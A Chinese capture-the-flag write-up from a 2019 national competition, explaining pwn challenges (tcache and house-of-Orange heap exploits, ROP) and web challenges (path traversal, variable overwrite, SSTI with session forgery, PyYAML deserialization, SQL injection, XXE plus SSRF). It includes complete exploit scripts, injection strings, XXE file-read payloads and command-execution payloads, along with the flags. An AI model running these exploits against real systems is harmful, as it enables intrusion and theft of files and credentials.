2019年中国技能大赛—网络安全管理职业技能竞赛个人CTF-web&pwn-writeup

上周参加了“2019年中国技能大赛—全国电信和互联网行业网络安全管理职业技能竞赛”(国家级二类竞赛),本届的题目质量比往届高了不少,看得出主办方在题目方面花了不少心思(给出题人点个赞),web&pwn的题目难度分级控制得不错,部分题目还挺有意思,赛后特此总结一下。

pwn

babyheap

[*] '/home/kira/pwn/gxb/babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax

  init_0();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        menu();
        v3 = get_int();
        if ( v3 != 2 )
          break;
        delete();
      }
      if ( v3 > 2 )
        break;
      if ( v3 != 1 )
        goto LABEL_13;
      add();
    }
    if ( v3 == 3 )
    {
      edit();
    }
    else
    {
      if ( v3 != 4 )
LABEL_13:
        exit(1);
      show();
    }
  }
}

菜单式题目,程序有malloc,free,edit,show4个功能。题目提供了libc,版本为2.27,此版本涉及到tcache,需使用ubuntu18.04进行调试。漏洞点比较明显,不过题目进行了一些限制,下面一一分析。

  • add函数

    unsigned __int64 add()
    {
    int v1; // [rsp+Ch] [rbp-14h]
    unsigned __int64 v2; // [rsp+18h] [rbp-8h]
    
    v2 = __readfsqword(0x28u);
    puts("index:");
    v1 = get_int();
    if ( v1 < 0 || v1 > 4 || table[v1] )
      exit(0);
    table[v1] = malloc(0x80uLL);
    ++count;
    puts("content:");
    read(0, table[v1], 0x80uLL);
    return __readfsqword(0x28u) ^ v2;
    }

    malloc固定大小为0x80,因此不能直接申请到超过tcache大小的堆块,同时只能申请0-4号5个堆块,有一个count的变量记录当前已申请数量。

  • delete函数

    unsigned __int64 sub_B8D()
    {
    int v1; // [rsp+4h] [rbp-Ch]
    unsigned __int64 v2; // [rsp+8h] [rbp-8h]
    
    v2 = __readfsqword(0x28u);
    puts("index:");
    v1 = get_int();
    if ( v1 < 0 || v1 > 4 || !table[v1] || !count )
      exit(0);
    --count;
    free(table[v1]);
    return __readfsqword(0x28u) ^ v2;
    }

    free后没有清空指针,有一个明显的UAF漏洞。由于没有清空指针,因此本题限制了只能申请5个堆块。在malloc和free次数限制的情况下进行getshell是本题的考点。

这里需要了解一下tcache->entries的结构,查看heap开头的位置可以看到如下信息。

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x55992fc9dd90 (size : 0x20270)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x110)   tcache_entry[15]: 0x55992fc9d3d0 --> 0x55992fc9d290
pwndbg> x/32gx 0x55992fc9d000
0x55992fc9d000: 0x0000000000000000      0x0000000000000251
0x55992fc9d010: 0x0000000000000000      0x0200000000000000  -> 2 对应 tcache_entry[15] 的数量
0x55992fc9d020: 0x0000000000000000      0x0000000000000000
0x55992fc9d030: 0x0000000000000000      0x0000000000000000
0x55992fc9d040: 0x0000000000000000      0x0000000000000000
0x55992fc9d050: 0x0000000000000000      0x0000000000000000
0x55992fc9d060: 0x0000000000000000      0x0000000000000000
0x55992fc9d070: 0x0000000000000000      0x0000000000000000
0x55992fc9d080: 0x0000000000000000      0x0000000000000000
0x55992fc9d090: 0x0000000000000000      0x0000000000000000
0x55992fc9d0a0: 0x0000000000000000      0x0000000000000000
0x55992fc9d0b0: 0x0000000000000000      0x0000000000000000
0x55992fc9d0c0: 0x0000000000000000      0x000055992fc9d3d0 -> tcache_entry[15] 
0x55992fc9d0d0: 0x0000000000000000      0x0000000000000000
0x55992fc9d0e0: 0x0000000000000000      0x0000000000000000
0x55992fc9d0f0: 0x0000000000000000      0x0000000000000000

可以看到记录tcache链表数量和tcache_entry指针位于heap中,我们可以对此段内存使用tcache attack进行修改,修改tcache链表内数量为7,这就可以不用填满就能泄露libc地址。

具体思路如下:

  1. 使用2次malloc,2次free;
  2. UAF泄露heap地址;
  3. 使用2次malloc,进行一次tcache attack,修改tcache链表内数量为7;
  4. 使用1次free后UAF泄露libc地址;
  5. 使用edit功能,修改tcache_entry指向free_hook;
  6. 使用最后一次malloc,修改free_hook为one_gadget;

完整EXP:

def add(idx,content):
    p.sendlineafter("4.show\n",'1')
    p.sendlineafter(":",str(idx))
    p.sendafter(":",content)

def delete(idx):
    p.sendlineafter("4.show\n",'2')
    p.sendlineafter(":",str(idx))

def edit(idx,content):
    p.sendlineafter("4.show\n","3")
    p.sendlineafter(":",str(idx))
    p.sendafter(":",content)

def show(idx):
    p.sendlineafter("4.show\n","4")
    p.sendlineafter(":",str(idx))

add(0,'0\n')
add(1,'1\n')

delete(0)
delete(0)
show(0)

print p.recv(6)
heap = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
success(hex(heap))

t = heap - 0x250
tt = heap - 0x250 + 0x78
edit(0,p64(t))

add(2,'0\n')
add(3,p64(0x0707070707070707).ljust(0x78,'\x00')+p64(tt))

delete(0)

show(0)
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))  - 0x3ebc40 - 0x60
success(hex(libc.address))

edit(3,p64(0x0707070707070707).ljust(0x78,'\x00')+p64(libc.sym['__free_hook']))

one = 0x4f322
add(4,p64(libc.address+one))

delete(4)
p.interactive()

orange

[*] '/home/kira/pwn/gxb/Orange'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
nt __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  signed int v3; // eax

  init(*(_QWORD *)&argc, argv, envp);
  getname();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = read_int();
      if ( v3 != 2 )
        break;
      show();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        edit();
      }
      else
      {
        if ( v3 == 4 )
        {
          puts("bye");
          exit(1);
        }
LABEL_14:
        printf("invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_14;
      add();
    }
  }
}

看到题目叫Orange,肯定需要利用huose of Orange,题目只有3个功能,add,edit,show,没有free的功能,典型的huose of Orange利用场景。简单看一下具体有哪些能利用的漏洞。

  • add函数

    int add()
    {
    signed __int64 v0; // rax
    signed int i; // [rsp+8h] [rbp-8h]
    signed int v3; // [rsp+Ch] [rbp-4h]
    
    for ( i = 0; ; ++i )
    {
      if ( i > 8 )
      {
        LODWORD(v0) = puts("You can't add new page anymore!");
        return v0;
      }
      if ( !*((_QWORD *)&heap + 2 * i) )
        break;
    }
    printf("size:");
    v3 = read_int();
    if ( v3 <= 0 || v3 > 0x1FFF )
    {
      LODWORD(v0) = puts("size overflow");
    }
    else
    {
      *((_QWORD *)&heap + 2 * i) = malloc(v3);
      dword_6020E8[4 * i] = v3;
      v0 = 16LL * i + 0x6020EC;
      dword_6020E8[4 * i + 1] = 1;
    }
    return v0;
    }

    malloc申请内存的大小范围很大,申请的heap块地址存放在bss段0x6020E0

  • edit函数

    int edit()
    {
    signed __int64 v0; // rax
    int v1; // edx
    signed int v3; // [rsp+Ch] [rbp-4h]
    
    printf("index:");
    v3 = read_int();
    if ( v3 > 7 )
    {
      puts("out of index");
      exit(0);
    }
    if ( v3 != 5 || overflag != 1 )
    {
      if ( *((_QWORD *)&heap + 2 * v3) && dword_6020E8[4 * v3 + 1] == 1 )
      {
        printf("content:");
        read_con(*((_QWORD *)&heap + 2 * v3), (signed int)dword_6020E8[4 * v3]);
        v1 = strlen(*((const char **)&heap + 2 * v3));
        v0 = 16LL * v3 + 6299880;
        dword_6020E8[4 * v3] = v1;
      }
      else
      {
        LODWORD(v0) = printf("%s invaild index\n", &name);
      }
    }
    else
    {
      printf("content:");
      LODWORD(v0) = read_con(*((_QWORD *)&heap + 10), 1024LL);
      overflag = 0;
    }
    return v0;
    }

    这里出题人故意留了很多漏洞供我们使用

  • LODWORD(v0) = printf("%s invaild index\n", &name);,name的位置在bss段,紧接着存放heap块地址的内存,填满name打印时可以泄露heap地址;
  • 修改content后使用strlen重新计算长度,而且输入没有进行00截断,可造成heap溢出;
  • edit 5号heap块时,可以写入1024字节,一个简单粗暴的heap溢出;

具体的利用思路:

  1. 开头输入0x20字节name,edit一个不存在的heap泄露heap地址;
  2. 利用edit第二个漏洞,修改topchunk size;
  3. 申请一个超大的heap,使topchunk被释放到unsorted bin,使用show进行泄露libc地址;
  4. 使用edit 5号heap进行堆溢出,覆盖unsortedbin的BK,构造fake FILE结构体;
  5. 随意申请一个heap触发unsortedbin attack完成整个攻击流程;

huose of Orange的具体原理不在详述了,可以查看其他大佬的文章。

EXP:

def add(size):
    p.sendlineafter("choice:",'1')
    p.sendlineafter(":",str(size))

def show(idx):
    p.sendlineafter("choice:","2")
    p.sendlineafter(":",str(idx))

def edit(idx,content):
    p.sendlineafter("choice:","3")
    p.sendlineafter(":",str(idx))
    p.sendafter(":",content)

p.sendlineafter("name","0"*0x20)
add(0x18) #0
p.sendlineafter("choice:","3")
p.sendlineafter(":","6")

# leak heap address
p.recvuntil("0"*0x20)
heap = u32(p.recv(4))
success(hex(heap))

# leak libc address
add(0x18)  # 1
edit(1,"1"*0x18)
edit(1,"2"*0x18+p16(0xfc1)+'\x00') # top chunk

add(0x1000)  # 2
add(0x50)  # 3

show(3)
libc.address = u64(p.recv(6).ljust(8,"\x00")) - 0x3c4b20 - 0x668
success(hex(libc.address))

# house of orange
add(0x10)  # 4
add(0x10)  # 5

payload = "3"*0x10
payload += '/bin/sh\x00' + p64(0x61)
payload += p64(libc.symbols["__malloc_hook"])
payload += p64(libc.symbols['_IO_list_all']-0x10) 
payload += p64(0) + p64(1) 
payload = payload.ljust(0xd8+0x10,'\x00') + p64(heap+0xc0+0x10+0xd8+8) 
payload += p64(0)+p64(0)+p64(1)+p64(libc.symbols['system']) 

edit(5,payload+'\n')
add(1) 
p.interactive()

overflow

[*] '/home/kira/pwn/gxb/overflow'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

题目使用静态编译,存在一个很明显的栈溢出,直接使用ROPgadget生成ropchain即可。

ROPgadget --binary overflow --ropchain

这题比较简单,属于pwn的签到题,不再详述了。

web

blog

打开是一个blog的登陆页面,扫描一下可以发现存在/admin/以及/config/目录,题目有列目录

config.ini文件有数据库信息,不过数据库不能外连,没用。

[数据库连接信息]
host = '127.0.0.1'
user = 'root'
pass = 'root'
db   = 'seclover'

[后台路径]
path='/admin/'
#需要修改后台路径时将admin文件夹重命名

点击download.php发现会下载自身,不过文件为空,burp重放发现响应包中有filename=参数。大胆猜测可以通过传入filename=参数进行文件下载。

简单fuzz一下常见的文件目录,最后发现filename=/../etc/passwd能读取到文件。

读取题目源码进行分析,发现checklogin.php存在变量覆盖漏洞

<?php
    session_start();

    ini_set('register_globals','1');
    require_once('./../config/sql.php');

    foreach (array_keys($_REQUEST) as $v) {
        $key = $v;
        $$key = $_REQUEST[$v];
    }

    $sql = new sql;

    $userinfo = sql->select("`admin`","*","where `user`='$user'");

    if($userinfo['pass']===$pass){
        $_SESSION[admin] = 'true';
    }else{
        echo '密码错误!';
    }

而后台验证是使用session进行判断,因此通过变量覆盖将$_SESSION[admin]覆盖成True即可登陆后台。

http://x.x.x.x/admin/checklogin.php?_SESSION[admin]=true

登陆后台后发现有上传功能,直接上传php会报错,使用burp抓包,通过大小写绕过后台黑名单限制,但是发现无法正常解析,最后使用php5成功解析,上传一句话木马直接getshell。

easy_flask

打开页面也是一个登陆界面,发现随便输入一个账号密码即可登陆,但是提示不是admin。

ssti是常见的考点,直接在url中测试输入/{{7*'7'}},发现404页面存在ssti。过滤比较严格,貌似无法直接读取文件或命令执行。不过发现config没有过滤。那么可以通过{{config}}读取secret_key,获取后可以伪造session越权为admin。

'SECRET_KEY': 'c63701a0-f565-4a1f-a0b6-d0a80bf31b9a'

首先随意登陆一个账号,获取登陆cookie,解密cookie可以发现只有一个username字段

yJ1c2VybmFtZSI6IjEyMyJ9.XdpOVA.1zVjAfpKt7wnpbvJyNGQ5a-ocSo 

py -2 flask_session_cookie_manager2.py decode -s "c63701a0-f565-4a1f-a0b6-d0a80bf31b9a" -c "eyJ1c2VybmFtZSI6IjEyMyJ9.XdpOVA.1zVjAfpKt7wnpbvJyNGQ5a-ocSo"

{u'username': u'123'}

将username修改为admin后,使用secret_key重新生成cookie

py -2 flask_session_cookie_manager2.py encode -s "c63701a0-f565-4a1f-a0b6-d0a80bf31b9a" -t "{u'username': u'admin'}"

eyJ1c2VybmFtZSI6ImFkbWluIn0.ELtihg.BnshJq3vrgRBfX7wTK-scsMxbOU

修改cookie,登录后发现增加了一个tools的功能,页面直接提示是pyyaml反序列化。

拿常见payload进行测试,发现有waf,目测是黑名单过滤,测试多个python命令执行的payload最后使用以下payload成功执行命令:

!!python/object/new:commands.getoutput ["ls"]
!!python/object/new:commands.getoutput ["cat f1111111111114g.txt"]

php之禅

打开index.php会自动跳转,并加入get参数,通过观察,很容易发现一个文件包含漏洞,直接使用伪协议读取一波源码。

http://100.100.100.122:8083/?f=home.php&n=Master
http://100.100.100.122:8083/?f=php://filter/convert.base64-encode/resource=home.php&n=Master

但是base64解码之后,发现php是进行了加密的。

<?php
  qv{tm|}8?G~ty.6hph?#..}{pw8?$p*&O}t{wu}4?6<G_]LC?v?E6?9$7p*&?#..}{pw8?lja8lw8.}l8lp}8~ty.9?#..<Gl8%8<G_]LC?Gl?E#..q~0<Gl8>>80qvlnyt0<Gl18%%%8jwmv|0uq{jwlqu}0ljm}1111c...}{pw8<~ty.#..}
?>

使用扫描脚本扫描一下,寻找是否存在源码泄露或其他更多提示。最后发现了存在phpinfo.php

> py -2 SourceLeakHacker.py http://100.100.100.122:8083/ 10 5
 [ 302 ]  Checking : http://100.100.100.122:8083/index.php
 [ 200 ]  Checking : http://100.100.100.122:8083/phpinfo.php

通过phpinfo发现题目加载了奇怪的模块

extension_dir /usr/lib/php/20151012
mysqli

使用文件包含下载扩展模块的so文件

http://100.100.100.122:8083/?f=php://filter/convert.base64-encode/resource=/usr/lib/php/20151012/mysqli.so&n=Master

拖入IDA进行分析,可以找到一个php_decode_compile_file的函数

__int64 __fastcall php_decode_compile_file(__int64 a1, unsigned int a2)
{
  signed int i; // [rsp+1Ch] [rbp-24h]
  __int64 v4; // [rsp+20h] [rbp-20h]
  size_t size; // [rsp+28h] [rbp-18h]
  void *s; // [rsp+30h] [rbp-10h]
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  if ( !(unsigned int)zend_stream_fixup(a1, &v4, &size) && !strcmp(*(const char **)(a1 + 88), "/var/www/html/home.php") )
  {
    s = malloc(size);
    memset(s, 0, size);
    for ( i = 0; i <= size; ++i )
    {
      if ( i <= 6 || i >= size - 5 )
        *((_BYTE *)s + i) = *(_BYTE *)(v4 + i);
      else
        *((_BYTE *)s + i) = *(_BYTE *)(v4 + i) ^ 0x18;
    }
    *(_QWORD *)(a1 + 40) = s;
  }
  return orig_compile_file(a1, a2);
}

可以看到home.php进行了xor,算法不难直接将之前获取的源代码进行异或得到明文。

<?php
include '_flag.php';
echo '<h2>Welcome,'.$_GET['n'].'!</h2>';
echo 'try to get the flag!';
$_t = $_GET['_t'];
if($_t && (intval($_t) === round(microtime(true)))){
  echo $flag;

这里其实是出题人留的一个坑,如果强行爆破时间会得到一个假flag,重新查看so的代码,会发现intval被hook了。

__int64 php_override_functions()
{
  return php_override_func("intval", 8LL, (__int64)zif_intval_ex, &origin_funcs);
}

intval被覆写成zif_intval_ex,具体伪代码如下:

unsigned __int64 __fastcall zif_intval_ex(__int64 a1, __int64 a2)
{
if ( (unsigned int)zend_parse_parameters(*(unsigned int *)(a1 + 44), "s|z/", &v8, &v9) != -1 )
  {
    v11 = 0LL;
    v12 = (_QWORD *)zend_hash_str_find(&executor_globals[38], "_GET", 4LL);
    if ( v12 )
    {
      v35 = v12;
      if ( *((_BYTE *)v12 + 8) == 7 )
      {
        v10 = zend_hash_str_find(*v12, "key", 3LL);
        if ( v10 )
        {
          v11 = zend_hash_str_find(*v12, "content", 7LL);
          if ( v11 )
          {
            zend_error(2LL, *(_QWORD *)v10 + 24LL);
            zend_error(2LL, *(_QWORD *)v11 + 24LL);
          }
        }
      }
    }
    php_printf("%s", *(_QWORD *)v11 + 24LL);
    if ( v10 )
    {
      if ( v11 )
      {
        s = "openssl_decrypt";
        v16 = v15;
        v2 = strlen("openssl_decrypt");
        src = s;
        n = v2;
        v57 = v2;
        v58 = _emalloc((v2 + 32) & 0xFFFFFFFFFFFFFFF8LL);
        *(_DWORD *)v58 = 1;
        *(_DWORD *)(v58 + 4) = 6;
        v59 = v58;
        *(_QWORD *)(v58 + 8) = 0LL;
        *(_QWORD *)(v58 + 16) = v57;
        v60 = v58;
        memcpy((void *)(v58 + 24), src, n);
        *(_BYTE *)(v60 + n + 24) = 0;
        v17 = v60;
        *(_QWORD *)v16 = v60;
        *(_DWORD *)(v16 + 8) = 5126;
        v18 = (char *)(*(_QWORD *)v11 + 24LL);
        v19 = &v62;
        v3 = strlen(v18);
        v24 = v18;
        v51 = v3;
        v52 = v3;
        v53 = _emalloc((v3 + 32) & 0xFFFFFFFFFFFFFFF8LL);
        *(_DWORD *)v53 = 1;
        *(_DWORD *)(v53 + 4) = 6;
        v54 = v53;
        *(_QWORD *)(v53 + 8) = 0LL;
        *(_QWORD *)(v53 + 16) = v52;
        v55 = v53;
        memcpy((void *)(v53 + 24), v24, v51);
        *(_BYTE *)(v55 + v51 + 24) = 0;
        v21 = v55;
        *(_QWORD *)v19 = v55;
        *((_DWORD *)v19 + 2) = 5126;
        v22 = "AES-128-CBC";
        v23 = &v63;
        v4 = strlen("AES-128-CBC");
        v28 = v22;
        v46 = v4;
        v47 = v4;
        v48 = _emalloc((v4 + 32) & 0xFFFFFFFFFFFFFFF8LL);
        *(_DWORD *)v48 = 1;
        *(_DWORD *)(v48 + 4) = 6;
        v49 = v48;
        *(_QWORD *)(v48 + 8) = 0LL;
        *(_QWORD *)(v48 + 16) = v47;
        v50 = v48;
        memcpy((void *)(v48 + 24), v28, v46);
        *(_BYTE *)(v50 + v46 + 24) = 0;
        v25 = v50;
        *v23 = v50;
        *((_DWORD *)v23 + 2) = 5126;
        v26 = (char *)(*(_QWORD *)v10 + 24LL);
        v27 = &v64;
        v5 = strlen(v26);
        v33 = v26;
        v41 = v5;
        v42 = v5;
        v43 = _emalloc((v5 + 32) & 0xFFFFFFFFFFFFFFF8LL);
        *(_DWORD *)v43 = 1;
        *(_DWORD *)(v43 + 4) = 6;
        v44 = v43;
        *(_QWORD *)(v43 + 8) = 0LL;
        *(_QWORD *)(v43 + 16) = v42;
        v45 = v43;
        memcpy((void *)(v43 + 24), v33, v41);
        *(_BYTE *)(v45 + v41 + 24) = 0;
        v29 = v45;
        *v27 = v45;
        *((_DWORD *)v27 + 2) = 5126;
        v30 = &v65;
        v65 = 1LL;
        v66 = 4;
        v31 = "0000000000000000";
        v32 = &v67;
        v6 = strlen("0000000000000000");
        v13 = v31;
        v36 = v6;
        v37 = v6;
        v38 = _emalloc((v6 + 32) & 0xFFFFFFFFFFFFFFF8LL);
        *(_DWORD *)v38 = 1;
        *(_DWORD *)(v38 + 4) = 6;
        v39 = v38;
        *(_QWORD *)(v38 + 8) = 0LL;
        *(_QWORD *)(v38 + 16) = v37;
        v40 = v38;
        memcpy((void *)(v38 + 24), v13, v36);
        *(_BYTE *)(v40 + v36 + 24) = 0;
        v34 = v40;
        *v32 = v40;
        *((_DWORD *)v32 + 2) = 5126;
        if ( !(unsigned int)call_user_function_ex(executor_globals[54], 0LL, v15, &v61, 5LL, &v62, 0LL, 0LL)
          && *(_QWORD *)(v61 + 16) <= 0x10uLL )
        {
          zend_eval_string(v61 + 24, 0LL, &unk_1CE2);
        }
      }
    }
    origin_funcs(a1, a2);
}

这个函数的功能是通过get传入key和content,然后调用了openssl_decrypt函数,其中key为密钥,content为密文,加密方式为AES-128-CBC,IV为0000000000000000,密文解密后调用了eval。

那么,可以把需要执行的命令进行AES加密后,通过GET的方式传入参数进行命令执行,使用以下脚本生成payload:

$a = openssl_encrypt("system('ls');","AES-128-CBC","12345678",OPENSSL_RAW_DATA,"0000000000000000");
echo urlencode($a);
$a = openssl_encrypt("system('cat *');","AES-128-CBC","12345678",OPENSSL_RAW_DATA,"0000000000000000");
echo urlencode($a);
http://100.100.100.122:8083/home.php?_t=1574566875&key=12345678&content=%B6%9E%91%22%C6%D2%60Jr%0Bx%07Z%B8%1EQ
http://100.100.100.122:8083/home.php?_t=1574566875&key=12345678&content=t%DA%0D%E8%A5g%7D%22A7%D0%5E%8E%8B%F8i%5B%030C%C2%3E%02%02%C2Fq%EDj%FAj%29

直接cat *获取flag

<?php
        $flag='flag{s000_1s_th3_pHp_Ext3ens1on}';
?>

<?php
  qv{tm|}8?G~ty6hph?#}{pw8?$p*&O}t{wu}4?6<G_]LC?v?E6?9$7p*&?#}{pw8?lja8lw8}l8lp}8~ty9?#<Gl8%8<G_]LC?Gl?E#q~0<Gl8>>80qvlnyt0<Gl18%%%8jwmv|0uq{jwlqu}0ljm}1111c}{pw8<~ty#}
?>
<?php

  if($_GET['f'] && !is_array($_GET['f'])){
    include $_GET['f'];
  }else{
    header("Location: /?f=home.php&n=Master");
  }
?>


<?php
  phpinfo();
?>

note(精英赛)

打开题目,又是一个登陆界面,按照之前的做题经验,不可能是无脑爆破,尝试使用万能密码进行登陆。

username=admin' or 1#&password=123

登陆失败并返回

admin' 1# maybe password error!

可以发现or没有了,估计是后台对部分关键字进行了替换为空。测试发现除了or,还有select/and被替换,直接采用双写即可绕过。

简单测试后,发现可以用布尔注入进行sql注入,条件为假时提示密码错误,条件为真时没有返回信息。

username=admin' anandd oorrd(mid(user(),1,1))>1000#&password=admin 
返回信息:admin' and ord(mid(user(),1,1))>1000# maybe password error!

username=admin' anandd oorrd(mid(user(),1,1))>0#&password=admin    
返回信息:nothing

修改一下tamper文件,用sqlmap最后注出admin密码为:a8ujj2fa2ddasd

登陆后发现一个留言窗口,输入类型为xml,那么很可能存在XXE,直接用常用的payload测试一下。

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE root [<!ENTITY flag SYSTEM "file:///etc/passwd">]>  
<root>  
<value>&flag;</value>  
</root>

发现可以正常读取文件。

尝试直接读取flag,但是试了/flag/flag.txt/flag.php均无果。直接拿burp fuzz一下常见的系统文件

/proc/self/cmdline
/proc/self/environ
/proc/self/cwd/index.php
/proc/self/mounts
/etc/hosts
/etc/httpd/conf/httpd.conf
/etc/apache2/sites-enabled/000-default.conf
/usr/local/etc/nginx/nginx.conf
/etc/nginx/conf/nginx.conf
/proc/self/fd/2
/proc/self/fd/1
/proc/self/fd/0

最后在/etc/hosts发现存在二层内网

127.0.0.1   localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.55.2.11 68337dd50b7d
172.55.2.10  inside_web.com

XXE+SSRF读取内网web

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE root [<!ENTITY flag SYSTEM "php://filter/read=convert.base64-encode/resource=http://inside_web.com/index.php">]>  
<root>  
<value>&flag;</value>  
</root>

base64解码后,发现内网网站可用file参数读取文件

<!DOCTYPE html>
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    <title>file browser</title>
  </head>
</body></html>

plz set file to access

继续尝试直接读取flag

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE root [<!ENTITY flag SYSTEM "php://filter/read=convert.base64-encode/resource=http://inside_web.com/index.php?file=/flag">]>  
<root>  
<value>&flag;</value>  
</root>

这次成功了!

<!DOCTYPE html>
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    <title>file browser</title>
  </head>
</body></html>

flag{f1eed0ffda188381fc2521e61b9a2788bb3a}

点击收藏 | 1 关注 | 1
登录 后跟帖